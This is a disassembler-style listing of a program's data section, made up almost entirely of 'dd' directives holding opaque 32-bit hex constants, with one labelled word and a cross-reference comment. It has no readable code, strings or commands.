		dd 32E7D989h, 3F19E5E4h, 7F804F30h, 0FA126378h,	0F33986EBh
		dd 79E980BFh, 0D013649Eh, 0E83B00AAh, 789B36Ah,	0C100CE8Eh
		dd 0BFA77961h, 0C0B2E66Ch, 5E504718h, 0B37A132Bh, 0F1F7EA00h
		dd 55D64DC7h, 0E1FC07F4h, 60926E0Bh, 190D99C0h,	11886200h
		dd 3F82EA4h, 35541C23h,	1431009Dh, 6E15CC36h, 0C7428D00h
		dd 68B6FD20h, 9B0F0F79h, 0E180D0C3h, 6A078A63h,	8E2DB200h
		dd 4F4DDA1Fh, 83740Eh, 6C87432Fh, 0F6B2A219h, 70685926h
		dd 3DDF9200h, 38108Dh, 0FB24487Ch, 955713BDh, 0C4EF1C00h
		dd 822F8A2Eh, 6ABE00DBh, 0DBA5E10h, 3EFEB7ADh, 2EF05F48h
		dd 0C89C90DFh, 0B900C5A4h, 9A2C8DA5h, 306C7080h, 73194B02h
		dd 4C00F67Fh, 0FF3CCCE4h, 300C3260h, 83211BB2h,	0AD300AAFh
		dd 0A4BE111Ah, 2DF93316h, 0ECF0A0C9h, 40001F62h, 0C13A5175h
		dd 9777422h, 14BF18A5h,	0AFBCA8E0h, 9605F002h, 60CFF83Bh
		dd 9C43838h, 0B191624Ch, 8C6AC80h, 60FE7A46h, 0A60278F6h
		dd 0BD634DC4h, 3C8060D2h, 61FB007Ch, 308A565Ah,	40013F8Bh
		dd 66B50E54h, 0F541EC5Dh, 0EB700C35h, 34CC008Ch, 9E7A189Fh
		dd 86B011ACh, 0A2243F00h, 4CA54910h, 22A03DBh, 99C8827Dh
		dd 4E8A83Ch, 205F2C7Ch,	7F519CC0h, 1E93142Eh, 0BA00B8EEh
		dd 7214A4B0h, 0C439B74Ah, 0E1007EA9h, 65B3552Eh, 301C608Ah
		dd 871127DEh, 0E001D63h, 0E1AC2C70h, 0D71501h, 9FC99635h
		dd 9CE9FA2Ah, 1C20664Eh, 856FC368h, 0B5D37B83h,	3DCCE87Ah
		dd 0E8F0002Ch, 441A8FF9h, 8100A93Fh, 0D64221E4h, 0F5E54Eh
		dd 7B96272Ah, 0C2AE912Ch, 0C004C702h, 0C0978DFAh, 0B68094h
		dd 0C99ACB9Fh, 0AD7AEBBFh, 9BC69C1Eh, 0E7D8C118h, 23CD0365h
		dd 0A08D760Dh, 0CB746E0Fh, 0A99C00DCh, 1B764B2h, 0D7F3D288h
		dd 60341BF2h, 33053BF8h, 50430F6Bh, 0DD87EC05h,	24C4A0h
		dd 11B0EA9h, 4BFE9B2Ah,	0B0AB00Fh, 216C0F0h, 4C039573h
		dd 2B07F8F3h, 0E0A37835h, 105786B2h, 0E7878D01h, 0ED34120Fh
		dd 1E9860h, 70DEBD68h, 10FE9D9Ch, 0DBCA711Ch, 0B0A700FCh
		dd 0D593BE6Ah, 0D79100F9h, 0C1D87B18h, 85755DF1h, 9F840900h
		dd 8062E6B6h, 10AF003Dh, 66DFFB7Eh, 62EB925Ah, 5D7009ACh
		dd 770000EBh, 70BAD773h, 0CCC70E74h, 96203355h,	95118043h
		dd 2F019C17h, 48D06C01h, 0C82082D1h, 78E50036h,	0BAB8A2ABh
		dd 0CF0CFA0Ch, 21A09601h, 3C5D3D2Bh, 7CE3F8E0h,	60FA308Fh
		dd 5052CE03h, 0C0189483h, 348C5A7h, 0E6444326h,	0CDE97DEEh
		dd 0E9CC2054h, 69640149h, 0B0744411h, 697363D3h, 47987F9Ch
		dd 1B015842h, 0E1CC44A4h, 60A69510h, 68EE0C6Fh,	0AD00C489h
		dd 13DFCD44h, 75B87DDh,	0D7DB28C8h, 0FD9C935Dh,	9D6775F0h
		dd 0A5D5A71Ch, 0C21580FEh, 0C5AD9EBEh, 0AA740051h, 0E61FF80Dh
		dd 2000D58Fh, 65F00C2Bh, 9667158Ch, 64C503ACh, 0A000E9A8h
		dd 197B0B81h, 0E8CE4h, 566E0137h, 0BBE78A83h, 4AD68467h
		dd 6A65A3A0h, 2B355CA0h, 407D5907h, 0F741F0B1h,	46002101h
		dd 3A92C618h, 4D49C61h,	931650FAh, 0F4AC80B3h, 1B0086C2h
		dd 0F8653D46h, 33E1C28h, 7651299Eh, 63E0BAE0h, 8B01BF6Ah
		dd 0B420FDC1h, 5FFC47B7h, 46940021h, 489CBFEh, 865F0306h
		dd 40C30800h, 3821CF7h,	22B7B21Bh, 7DA8CD53h, 0F005AECh
		dd 78B0DE32h, 61ABBAh, 4B7E2E88h, 27C9E3CFh, 0C27A8A01h
		dd 0DC2B79C1h, 8E72A03Bh, 529D3300h, 3239CD87h,	10310088h
		dd 6AC7775Ch, 9F00D6B9h, 55722644h, 0F2FD7B58h,	1BF4F962h
		dd 0A8BF0F54h, 56005C02h, 3EF886Eh, 0DF9401Fh, 0EC82DCD6h
		dd 600CEA06h, 4B3C17FEh, 0A9B40005h, 0CA84255Eh, 375F2E00h
		dd 507E3A95h, 174F6F6h,	5B51E22Ch, 0DCA0040Dh, 0E13EB56Dh
		dd 0E4097B3Ah, 40748580h, 7539EBACh, 0A6D11211h, 51B0001Bh
		dd 0CB6ABC3Dh, 0F4229700h, 0A480170Dh, 898300ACh, 0E0EF36FCh
		dd 34002582h, 1C560157h, 121365h, 0CFD51BA4h, 6C7D8BDDh
		dd 0EF05AF09h, 4D048159h, 97F00EA6h, 14CA1C2Dh,	15FC0BFh
		dd 1A6B8F70h, 50253F01h, 41ACC29Eh, 4CA8A4h, 0BC0DF721h
		dd 2D305DE5h, 0B932966Eh, 0A9D000D9h, 0FEC00B48h, 0C7016031h
		dd 0FABB5B8Bh, 3660B8FDh, 824216CDh, 602C0026h,	0C20F982Fh
		dd 0ECA139h, 0F9B871F0h, 7C7F4010h, 763607B9h, 0AFDC20EBh
		dd 321B2BE7h, 0C46082DFh, 0E005F8Ch, 49D88BE5h,	3DB8720h
		dd 2886DCB6h, 0CAB16CCFh, 59ACF4DFh, 0D6287DEAh, 3F1E8CBAh
		dd 20D8FC58h, 0F22638h,	79AEC147h, 0CD6F8F91h, 0D607661h
		dd 9184720Fh, 0B0A6ADFBh, 9D016D30h, 0ACD3FF5Eh, 4870394Bh
		dd 801CBC76h, 0BBD7E8C4h, 93006F3Ch, 239594E1h,	7E160AF5h
		dd 0C1130FA9h, 80200669h, 8837E1FBh, 1726B901h,	3E4678A7h
		dd 0A07A1074h, 0B5CD80h, 0A037D188h, 92FA7222h,	63D74212h
		dd 8FCB1440h, 0C364D948h, 3D4F6E11h, 0D01DD98h,	0CA30DF00h
		dd 0C15968CEh, 9F540133h, 3BEEBB4Ah, 0E3309A19h, 8C74FCh
		dd 4E8E3CDFh, 2FE80CD0h, 7589C8h, 0F92A6B28h, 84E25B07h
		dd 0A30A0492h, 8CE55FBCh, 59534A80h, 2ED84829h,	0B96050F9h
		dd 30A852F2h, 4FEA4306h, 9D0C2139h, 0C166D83Fh,	5E7406C6h
		dd 2129E01Ah, 0E4558D00h, 0A4912D25h, 18BC00A9h, 1AC3CC43h
		dd 9395C1C0h, 0D6D5901Ch, 7FDD3C5Ch, 6343CB02h,	0BAE0F3B9h
		dd 0ED2EABF8h, 0FD002916h, 32993675h, 1CDB79F5h, 800DB281h
		dd 6D2DD894h, 0A803C278h, 14E4E0B1h, 0FB50FF1Ch, 3A798219h
		dd 0D9B13E89h, 2E9DF428h, 2170AC1Ch, 0E73083Ch,	0FA8FA42Fh
		dd 0A3588901h, 0A85FF41Fh, 52FC0301h, 171BD543h, 0DC085C38h
		dd 3580D1F7h, 883AD075h, 0A0B0AB7Eh, 921A98B0h,	49E93BB0h
		dd 0C6199D00h, 6C6BA9A5h, 2A9A5A00h, 925909F3h,	14912E28h
		dd 568C80B8h, 0E34B37E2h, 10B1640Ah, 0F902E81Fh, 62905F6Ch
		dd 0FE34609Fh, 43F25C53h, 0D638F430h, 63005F9Ch, 3B6E8A1Bh
		dd 6DC7E3h, 20376986h, 0B1259901h, 84386600h, 8EC4FD93h
		dd 96AE00F8h, 9027F744h, 51CFF22h, 0E08039C0h, 107A37E8h
		dd 38DC01DFh, 0AAB82A26h, 8F9C6007h, 0BE003D70h, 7BED6A1Ch
		dd 30E5236Dh, 26A637CFh, 0D2006008h, 55838CD0h,	0B8C28D9Bh
		dd 0DAA600F6h, 0C9F5B4D7h, 8E98D87Eh, 5E34630Fh, 504B405Dh
		dd 0FE67B097h, 3AAF0099h, 7BE9C424h, 0A707AB04h, 0F8F5E041h
		dd 0E0A645B2h, 0FA17169Bh, 0B0B42E63h, 0C12B010Ch, 0CC423347h
		dd 0C3F49AEBh, 0C4808700h, 5515B8B0h, 1350003Ah, 1123AF63h
		dd 84EA5703h, 0B9B11A00h, 983A4F1Eh, 1B2C0001h,	21AED96Ah
		dd 630A2223h, 0C40B269Ah, 3E4E4700h, 7FFF0Ch, 5D21F25Ch
		dd 800E093Bh, 57F45601h, 0B696306Ch, 0F0AC44FCh, 93F034h
		dd 0B97D4D46h, 0A0593122h, 0CA524100h, 9C8C0DDAh, 0B45009F2h
		dd 78710F09h, 8066EA89h, 804D1F97h, 7DC49815h, 4EFE012Dh
		dd 7B25EFB3h, 3761E284h, 68C7201Dh, 0CF0FA600h,	62D90260h
		dd 96B7B7Ah, 0A74B1E2Dh, 0D285C0A1h, 48A43C33h,	61AD0FF0h
		dd 0C1F7C081h, 4937AAA2h
		dd 0E00642Bh, 0A97080BEh, 193BE99Ch, 0DDA08428h, 480BB14h
		dd 1D9FDB35h, 80EFCC0Dh, 3480959Dh, 0D7037036h,	7C4DE7FBh
		dd 0ED5F90FFh, 37600022h, 0AD84D503h, 0B8004BB2h, 0D0F28702h
		dd 452058h, 6C619CEBh, 0E5AB268Dh, 0EC5F5Ch, 704F99C1h
		dd 70E0F92h, 0A216AC3Ah, 0C3B22527h, 0ADC98670h, 0B7A86072h
		dd 21501F01h, 74C76FEFh, 9D6920h, 36DEF58Bh, 0CA4B2D04h
		dd 0C6C4A700h, 359428B4h, 9857508Fh, 0BA4C2C2Fh, 39BE0024h
		dd 0B93EEF0Fh, 185A4509h, 0D1F404FDh, 8800F8BCh, 7E407909h
		dd 0C0173ACFh, 0C10554B2h, 0EC08F51h, 2C2545ECh, 0D2447h
		dd 28C3A289h, 6402F6CBh, 431709E6h, 5224604Ch, 0F8B71671h
		dd 0F654700Fh, 0A75819B6h, 7C3802E7h, 858E9C26h, 8080DDA6h
		dd 0F945A9Dh, 7331C3B9h, 7071FC67h, 63240DF6h, 2F6C2301h
		dd 208BE450h, 0BCC5834h, 0C39F4F25h, 0AB0308B0h, 7EC1A4Ch
		dd 54DC441Fh, 74DEC290h, 0A2373D56h, 64ACC702h,	0F4688D85h
		dd 5E19B1A9h, 0CB598379h, 7F5F0870h, 872A0028h,	7ECA3438h
		dd 0EF120131h, 8CA014C4h, 0ED70C495h, 0E570A49Ch, 19C0D5F0h
		dd 0D9EA1871h, 84FA5632h, 40DC134Bh, 59227328h,	110F5A38h
		dd 37E542A2h, 0A4DCF0C0h, 543EAD3h, 0D0401FB6h,	84E41136h
		dd 4E81219Eh, 31690503h, 59AB6AD0h, 77826C42h, 90A07C92h
		dd 7E7452DBh, 0DCAFF90Dh, 62C499BBh, 1C5F0067h,	85D5B5FFh
		dd 0BC0CBF2Fh, 0F811AAEEh, 0CCFB5809h, 0C13239A2h, 40744290h
		dd 7C6F06BDh, 79C89A14h, 1E8FA006h, 6411C19Ch, 80B6317Bh
		dd 8B63BBD8h, 801810C0h, 0C80492h, 6AB8FBA3h, 0BB39C151h
		dd 0FC18EB74h, 554073F1h, 0E5FD28F4h, 0FC63FEE8h, 89C42CD2h
		dd 0B85D4028h, 282516A7h, 0FC446042h, 7F028819h, 40525F03h
		dd 0B89ECE7Bh, 2D2E2ADh, 0F2BF5355h, 60E0672Dh,	0C5031966h
		dd 99B7F057h, 3128E860h, 93400097h, 0F38E0AECh,	2500853Dh
		dd 7F83E64Bh, 161AF21h,	0BBAB9E71h, 0C08D5878h,	3900B8A2h
		dd 8C50426Ah, 0B4671Ah,	149604EDh, 0FA986D3Eh, 1E48958h
		dd 446C3C22h, 0CE798Ah,	854E7FD1h, 0D704F80Ch, 1C9129ADh
		dd 70A1FEEBh, 8CA37E11h, 0F5C49D01h, 92E50253h,	0E42E1C28h
		dd 2042AC3h, 8CBDDFA2h,	0C0C85AB1h, 4900D7E1h, 0DE2FEF23h
		dd 33392ABh, 772DE2FDh,	82FCED1Dh, 9460FEB1h, 131FA179h
		dd 36C1C274h, 0B647A022h, 2CE27E8h, 2B85660Ch, 0C0564CA5h
		dd 0E28950Bh, 65A341A4h, 0A86029F8h, 0A27000EAh, 0F085871Eh
		dd 267EE3F9h, 8C00097Eh, 0FE74A1C1h, 58B7D1AEh,	5703A477h
		dd 0F9A7C461h, 0D4B918F0h, 0DA05E401h, 6D2B02C7h, 28E382E4h
		dd 12F66250h, 0B03127FBh, 0CD0F8CF4h, 0CAAC8DFDh, 0E100921Fh
		dd 186F2C14h, 0EEE60775h, 0D7537FDAh, 233351CBh, 0BD68C820h
		dd 6AAE414h, 0D1DB0090h, 3B38081h, 0D56639E0h, 828DBE8Fh
		dd 0AB68DA01h, 2A1AF8DFh, 28C7E116h, 80A31D0Bh,	35D0C8B8h
		dd 0DCAC00A6h, 4DCDC51Ch, 72C815Eh, 28048C98h, 27402AAEh
		dd 0ADFE1B94h, 4332A300h, 5998855Dh, 4930B0CAh,	0B6029893h
		dd 0A96F5855h, 530064D8h, 0F17FBCCDh, 7519D7h, 0B2B09ABBh
		dd 0E83DC114h, 8D1E2B00h, 227E01F0h, 1F070025h,	18920867h
		dd 2907313Ah, 84B3780Fh, 8524A439h, 217CCCh, 0A953C8DBh
		dd 0F8F0B613h, 9002C8B8h, 0B7871A73h, 61FDC09Ch, 80F54CACh
		dd 0BC65C00h, 0E83725E6h, 0B8004698h, 21888369h, 7EEB72Ah
		dd 8E5D0E16h, 0BED4D017h, 6D0A2EC4h, 0B6B6F85Eh, 0CCE9B400h
		dd 0FFBC30h, 29B75058h,	6563D5E8h, 947C6009h, 6CD803B3h
		dd 23A800B0h, 0EFC44E2Ch, 73006F5Bh, 9C1BA0CDh,	4DADBE47h
		dd 46026CA2h, 0C48EA65h, 498BB874h, 827000FCh, 0E22F29h
		dd 3CBE4FE5h, 13805556h, 401FCE76h, 0D0C19C24h,	0FAD8BBDDh
		dd 0B489040h, 0CE5B0089h, 30C4B992h, 0D74B4274h, 8EAC1840h
		dd 33A4D832h, 7281CDF7h, 0AD169087h, 830039E4h,	0B69EC66Fh
		dd 271AAA6Dh, 4C41F1A5h, 0C491C5FEh, 3709BA3Eh,	80D86B4Ch
		dd 897DEC79h, 43F502DCh, 8353E2AFh, 99BA9860h, 4CD9B300h
		dd 5E741DD6h, 20D10019h, 0FD4553A0h, 95145871h,	0C3480498h
		dd 0A8E16C39h, 1FE546DAh, 0C0289FE8h, 2B8D240Ch, 0D7539A2Fh
		dd 9ECB0460h, 0CE3821Dh, 34263321h, 0F4459DE0h,	3B2167Fh
		dd 0C53CA047h, 4EB8E758h, 0C8BFAC80h, 0E13E0033h, 22A08D09h
		dd 653024A5h, 9F2140F2h, 0DE709Eh, 1CF32A2Fh, 0FED8D52Ch
		dd 0FAE3E400h, 811942CEh, 37130FB2h, 5F0BCDD9h,	453C0602h
		dd 349404C1h, 0C89C896Ch, 90416848h, 0D8501708h, 248B44F6h
		dd 0E382BBh, 2AEAEB8Ch,	9D0E8792h, 8494FDA4h, 0C0916132h
		dd 5FD0B3D8h, 418661B8h, 80ED97C4h, 952B5259h, 60A86F85h
		dd 24962176h, 949CC588h, 16AD1900h, 0CBBD158h, 6542A6Bh
		dd 3100F358h, 0D637E75Bh, 0DD6D0FACh, 79431830h, 880005E6h
		dd 0B8601E5h, 0C0EC21C6h, 0C2124861h, 6B01FA3Ah, 0A1DDFBB2h
		dd 0C5DC0746h, 0C3420215h, 0DBF29A2Ah, 0CC105879h, 88E00DC2h
		dd 36EE5A00h, 10A00CDDh, 78619489h, 7712A20Dh, 688349BDh
		dd 227BF618h, 86E885F8h, 7C275CF8h, 0E8006B41h,	54C4ABh
		dd 777A5205h, 38577567h, 32D4A159h, 1A8981D8h, 1C06D05Bh
		dd 8C06A0h, 0A8B0E64Eh,	5D1FFC13h, 1787DC9Ch, 2110B85Eh
		dd 29ADA22h, 62DC37BFh,	0F8A264h, 8EA8F100h, 212DBBDFh
		dd 2C9EE4h, 0C01BEA8Dh,	0FC7539D2h, 0B890E62Ch,	810B303Fh
		dd 735BFB3h, 965925A2h,	946190A6h, 0E90032B6h, 0B5F7553h
		dd 0FF6ABCh, 0F5DF8F3Bh, 1AD7E5F8h, 0F1428203h,	0C85C1EF9h
		dd 278DBAh, 0AAFEB5CAh,	61B27A8Ch, 0C638B91Bh, 9D300340h
		dd 54403313h, 0DBCB48A8h, 60BBD1E5h, 9A0A3FA1h,	0EC918422h
		dd 62008B20h, 0C6F996E6h, 75271490h, 6D2C161Eh,	0C3A2C401h
		dd 3B81B981h, 8BC0C3BDh, 561D04BCh, 4F0C1E85h, 6280A4h
		dd 58A34C27h, 381440EEh, 84C8FE54h, 0FC89852Ah,	1907F402h
		dd 0D0D00542h, 0F343E6CCh, 8045E0h, 31C21D30h, 85596002h
		dd 4203DF00h, 751BB5C5h, 12CF7C28h, 0A0AB0A51h,	9090AEE8h
		dd 8595D378h, 1430B63Ch, 31C19B0h, 846ABF8Dh, 0E58009AEh
		dd 0BE072E2Ch, 4CA8EEB1h, 0DB06C920h, 12A9052Fh, 8031E40Fh
		dd 0BAD60C3h, 8B1BB700h, 89351F4Fh, 574800D8h, 0AA7841F1h
		dd 0FE059019h, 5F2106EAh, 0F8AB3080h, 0BE8700A1h, 0DE01B5C2h
		dd 0E5173624h, 0C81E2156h, 65094841h, 0F3E00786h, 2A890002h
		dd 4DCB55B2h, 66006961h, 0A121821Bh, 0E943031h,	0DE17CC6Fh
		dd 51EB3AC0h, 0BE00D177h, 0FDF5CD88h, 0E46B287Bh, 1566009Eh
		dd 0AD0DB869h, 950036BDh, 0E556883Ah, 2702CD4h,	0D142B473h
		dd 0BC87FCBFh, 95145AAh, 0CC78A0E5h, 884EC50Fh,	6D7B00BDh
		dd 3E57C2A6h, 8B0345C1h, 75E4B6DDh, 25F4BC9Ch, 0AB0840CEh
		dd 1CC1C9Eh, 0FEBAC06Bh, 461E66DFh, 6C406AFFh, 307220F3h
		dd 1932570h, 371E4080h,	0EE00A57Ah, 0E43E4FB0h,	5C79171Fh
		dd 0EB00B945h, 0BE788A7h, 54008DD8h, 343C300Eh,	14C05DEh
		dd 732724B9h, 0D1A76DF0h, 18C9EE90h, 20493AF4h,	0A874F0E0h
		dd 1DF0FAD8h, 6EBB764Ah, 1C2C34h, 0A73B9E8Eh, 0D900D035h
		dd 0A17F80F7h, 75101Eh,	28B2DAB5h, 52A3B731h, 85821800h
		dd 0D902A75Ch, 0D545161Fh, 396C92F8h, 0CE00CCD1h, 0BC5CD16Ch
		dd 4C430084h, 61331C3Eh
		dd 6616A02Ah, 0B0B01F6Eh, 0BD16058Dh, 80304C8Eh, 62A3E6A9h
		dd 8C72E9h, 9E99A40h, 0B81392E2h, 3EF7015Bh, 7D8EA563h
		dd 20C0C37Fh, 6118DA9Bh, 5E9A167h, 0C47A242Eh, 0CA01BCB4h
		dd 683DBC40h, 8F89FEDh,	0CCA6A9C0h, 1A72196h, 0B9646DE1h
		dd 0EC46EDC5h, 9E00829Fh, 4802E94h, 1966983h, 1C685EC7h
		dd 0D42BBA7Dh, 0C8B4A7C9h, 0D5B0Bh, 0A2D227A6h,	7B6E003Fh
		dd 7EF4CB78h, 0F70058BBh, 0AC7D351Bh, 0EC5A09B4h, 91F94838h
		dd 57807700h, 9925F773h, 0AC978E00h, 28E1030Eh,	0FBC90181h
		dd 0FD6D4380h, 82CED527h, 26FC6E11h, 0F8CD630h,	0CD214B8Dh
		dd 0EC2263ACh, 3C0FD96Ah, 2091F6C2h, 0E6764EB5h, 90C9013h
		dd 0CC7E8E07h, 0B2058CD8h, 0C97A9CE1h, 0B401B8BCh, 566FAC17h
		dd 6C83F076h, 53F884B5h, 791DE8F8h, 6099C0E2h, 9B0A9201h
		dd 89CBCD3Eh, 897450F2h, 240E83Bh, 5C7C82h, 0BB2A9E77h
		dd 23148451h, 500AC8A8h, 0F2D0F8F7h, 7E52E804h,	0D8C03F74h
		dd 57C71Ch, 0ABBD728Dh,	4D055DD3h, 0FC34829Fh, 33610F48h
		dd 30DABAA0h, 0F80FD090h, 9EAFAB42h, 41E2C80Fh,	9BFCB641h
		dd 4746D8h, 6632FE0Fh, 5C5DDE28h, 290B0400h, 0F8EB2583h
		dd 9D950314h, 792C3AF6h, 905F4990h, 0E42D7800h,	631B9692h
		dd 0B2C007FFh, 8D6DFEh,	0AA671A33h, 2F442600h, 56CF940Fh
		dd 77B0A011h, 0FD0E3E3Dh, 0FC8F702Fh, 3EFA0B43h, 90C026C2h
		dd 600405Ch, 0BC746CA6h, 3604427h, 2D1D56A3h, 49F87209h
		dd 220251B0h, 5BFD4ABAh, 0C4B0818Eh, 1C2CFE59h,	5445267Eh
		dd 44FC8020h, 92164733h, 0C5289C5Ch, 10ECA318h,	0CA8CC580h
		dd 0E00D12Ah, 1EF1E923h, 50B5338Eh, 1D21BC2Bh, 0C0088A3Fh
		dd 0B2A0B157h, 52006762h, 6F39F137h, 3C59F90h, 4D046599h
		dd 0B4F1A909h, 8BC84249h, 0C47357E1h, 89033A55h, 67E37A91h
		dd 9B00C76Ch, 3EEE79BAh, 1E00F474h, 0EAC5478Fh,	0A6009FADh
		dd 527BA415h, 29CCAC1h,	0DD3C90B3h, 0C88FF365h,	7529F46Fh
		dd 791FFCF8h, 998026BFh, 5B0AEBA0h, 0DD9C002Eh,	13338F37h
		dd 0E4B85201h, 327B8DA1h, 0C88D09C8h, 7FF868BFh, 0C313099Ah
		dd 0F5002288h, 238C1BA9h, 2819EA01h, 7E9C189Bh,	8E43EF9h
		dd 3C9F7EAAh, 0BD0F2CA2h, 0EFA9918Ch, 6EA55880h, 800F5B0h
		dd 80308D24h, 0EDE725h,	32D59194h, 154BD979h, 111E16B8h
		dd 81C0406Bh, 0A1B56E17h, 36C93822h, 979C72A6h,	8484B6FAh
		dd 0C096BEh, 5E5D7832h,	5C9080ABh, 0B5181351h, 0B6109A12h
		dd 0CC351EBCh, 79807D65h, 0C74284E0h, 5C390BDDh, 0B2C88037h
		dd 7F527214h, 0F3890B9h, 70130861h, 54180F80h, 3F0057ACh
		dd 7BC85BD5h, 311D3D9h,	0CF5F356Dh, 1102D67Ch, 0FB674036h
		dd 29005826h, 0D074D1h,	6E6A21BAh, 0C11E3A5Bh, 0BD24C078h
		dd 0A8B1F317h, 4D0420h,	8008CD82h, 0FBA7C4A6h, 2A47DF00h
		dd 4EC62678h, 218F6064h, 3354C1ABh, 9A8B9600h, 0E80207B1h
		dd 9075003Bh, 3DCC710Bh, 4E39ED21h, 0B4621D19h,	50DD6140h
		dd 9880DC76h, 0EEC403E8h, 69BA4DE6h, 0AC8357B8h, 0A481544Eh
		dd 7BFC7109h, 0D14F0061h, 53CDFF9Ch, 40BC7A27h,	0BBC0C49Ch
		dd 0C9B9CF69h, 0D4B30391h, 8846A7C1h, 55BFE99Bh, 3FBE09B5h
		dd 0F20247DCh, 8F4E286Dh, 7C0740ECh, 1B1473Eh, 9635255Eh
		dd 0E2505377h, 952FDCC0h, 0C851421Fh, 2B733200h, 9A525ED9h
		dd 0C0785E50h, 7415FD0h, 7138A404h, 8C80F4B9h, 9565485Dh
		dd 3C20808Fh, 0F8B7DADBh, 37FCC1Fh, 0AE89261Eh,	846C60A4h
		dd 1494002Bh, 670FB3C5h, 0F00092B7h, 0BB4AECDCh, 404E37h
		dd 0B6E3D3C2h, 4DCF6CBEh, 76004891h, 1E738434h,	0FC5500CDh
		dd 416631C5h
		db 45h,	1Ah
word_505446	dw 2803h		; DATA XREF: ___:off_4374B8o
		dd 8AAFF347h, 540D77Ch,	0A08F19B4h, 5DB8BCh, 0E3C2F992h
		dd 69A2143Bh, 0DE441892h, 785616E8h, 43D853D6h,	0B8A58304h
		dd 3B255CE8h, 0F7E36E03h, 74DEEBEh, 68053FC8h, 87EAB002h
		dd 0EF0FB25Bh, 6732C2h,	0B31B0EC8h, 0FD1212B8h,	0DE00A136h
		dd 0AB0458E0h, 960925h,	1DDC2054h, 95B525C0h, 0AEFE70E0h
		dd 374B8600h, 137BEA85h, 198C3CBAh, 542E4483h, 0DDF8EE65h
		dd 390315BCh, 4E320E75h, 6FD00010h, 8724E625h, 4A03C417h
		dd 21E33469h, 4CFEC096h, 1844003Fh, 0EC351E2Fh,	1B007FD4h
		dd 0F46EFB38h, 0FE8AE1E4h, 69080941h, 0E47071F9h, 0F88B4Ch
		dd 0AC36E21Ch, 124A9F83h, 0A53F38h, 44E0FA98h, 10937C27h
		dd 0B8B40516h, 4483153Ch, 884AAC82h, 0C71264E0h, 0C0C04608h
		dd 0FA7862h, 7B9DECA9h,	0B8CA042Ch, 90071892h, 0AC82AD5Ah
		dd 0CB8C50A0h, 9B250256h, 0FB1E932Dh, 0F18FEC76h, 9C4097E7h
		dd 0C52E1184h, 0F8C9503Eh, 82E8201Eh, 225EB22Fh, 40190114h
		dd 0C43F71Ch, 10BB14AAh, 0CA01B041h, 0ACA6C13Ch, 91ED2EE1h
		dd 36E7DE8h, 25659D9h, 500643FAh, 3E4F310Dh, 20FD02C9h
		dd 9922B74Ch, 8F80B85Ch, 40E92825h, 0ECF14C58h,	0D4D56200h
		dd 0BF1141BAh, 74154F00h, 9B07E8B7h, 1B4A02DFh,	0C5A1AD31h
		dd 24861840h, 2DC7758h,	880F6D2Fh, 16156196h, 90AC4ECh
		dd 0BA531B94h, 637B048h, 2602BCB2h, 8E48F814h, 0E594A1D7h
		dd 82E456CDh, 0F325806Fh, 9D610A08h, 0D0ED01C6h, 0E88969E3h
		dd 28E51D18h, 0F600AE0h, 1CBCC847h, 990CDCD9h, 494D130h
		dd 0C8ED6E86h, 2D528049h, 0E205B9DBh, 3313A441h, 70587F80h
		dd 0E5860C71h, 73A10D01h, 69D9E00h, 5CA1C9AEh, 14E849A2h
		dd 5B01C83Bh, 0D4E56FCCh, 332AF8D6h, 0F1A07304h, 80EB16AFh
		dd 0D3B62F2Bh, 0DF7EBC0Eh, 4491E7B3h, 129638F0h, 2BC20072h
		dd 0D7F2469Ch, 98008BA6h, 4F43ECB3h, 3DE855h, 0A71AB59Eh
		dd 12DD8D76h, 3E3A9400h, 0C58B45F7h, 0C890E0h, 597FF9E1h
		dd 0BE6583B0h, 0CC62D501h, 0EBACA4DBh, 7179F0h,	4A9A3C3h
		dd 0B5272A2Bh, 1E812602h, 40AC0582h, 42211FBh, 744CB823h
		dd 8BACE09Ah, 70D20106h, 0D1F3A3h, 723DCF10h, 9B18EA33h
		dd 5E00F48h, 0F838311Ah, 0E024E8F8h, 760580D0h,	55AC4D3Ch
		dd 4EBE1E04h, 7CA057F1h, 9A3D26B8h, 0A3074198h,	0D0DC57CBh
		dd 0C9D53A2Fh, 9C68E72Ch, 0F97E6B80h, 75B2C0E2h, 65191C52h
		dd 692685h, 5CC1A1A2h, 0AE90E0E5h, 78300104h, 34E0AA6Fh
		dd 0DAB801CDh, 0E5454627h, 0A275DC87h, 0A124DF00h, 8E2914Ah
		dd 0DA7F01F2h, 3AEA5844h, 0FBE9F4D1h, 34335Dh, 98CACB08h
		dd 0B643508Ch, 0E0785028h, 3FAF6D02h, 8030F020h, 2480EFF3h
		dd 2EC98h, 19C03211h, 35F4896Ah, 0CB3B1700h, 0DF927120h
		dd 28121C40h, 9E7DC0E2h, 298A01F3h, 589CD548h, 8C3A00D4h
		dd 0C4534B2Eh, 871024D9h, 0E60483E8h, 29C092FDh, 663DF170h
		dd 20B82665h, 0AE9720Fh, 205D47Bh, 0E845FD0Ch, 20002B7Ah
		dd 0BA1D1A08h, 427409h,	5B31FFC3h, 0DCFC95E8h, 4EB04C05h
		dd 8FC3527Ah, 0E30198A4h, 3BE2180Ah, 0C5091858h, 0D1E85D78h
		dd 0BC22418h, 0CC78F48h, 7F265149h, 973B8468h, 64052C29h
		dd 0C4CD0C81h, 3181B80Fh, 0FEEE09BEh, 8E218311h, 0C07C49C3h
		dd 5C47167h, 7A7066E1h,	0AA5C0051h, 0C018F1AFh,	1CC7253Ah
		dd 920044B1h, 12A13DC3h, 8109008Bh, 0FB3E37CFh,	0D24CC60Eh
		dd 5ADB0087h, 74B70E2h,	119303FFh, 64E547D8h, 0A71DF4E8h
		dd 3E448017h, 26188EA8h, 930E7189h, 0A1D0A41Ch,	5D3E8C40h
		dd 6385B7CCh, 91242036h, 0C3222900h, 72D06F17h,	5FA400FCh
		dd 813DA5DCh, 0C8A083AFh, 0B9E40B8Dh, 0CE023600h, 1A7E9878h
		dd 4DD2E275h, 8E00FCFCh, 0C5F077F7h, 60002E03h,	96446AD3h
		dd 153821h, 0DE019B3Bh,	4A67460Eh, 3D1D7A00h, 8FD40C0Fh
		dd 0F4F854CDh, 0D087005Bh, 1223D1CCh, 244AF221h, 726BB890h
		dd 0E7A009Bh, 51A1B1E1h, 3201AE08h, 386C7709h, 40807D37h
		dd 0AF7C2BDh, 84924C0Eh, 61734236h, 49AD05A8h, 23978BF4h
		dd 297C42CCh, 0CFC64C00h, 80099C27h, 0F785Bh, 0C3D9240Ah
		dd 8D7E4250h, 0C4D2C000h, 5E01F114h, 0F8891C0Ch, 9559875Ch
		dd 43360769h, 1111A623h, 0EC808F02h, 9848E732h,	3135ED88h
		dd 34157F9h, 58B6DDC6h,	5C33FE04h, 0E0E010F5h, 0C0C9FBE6h
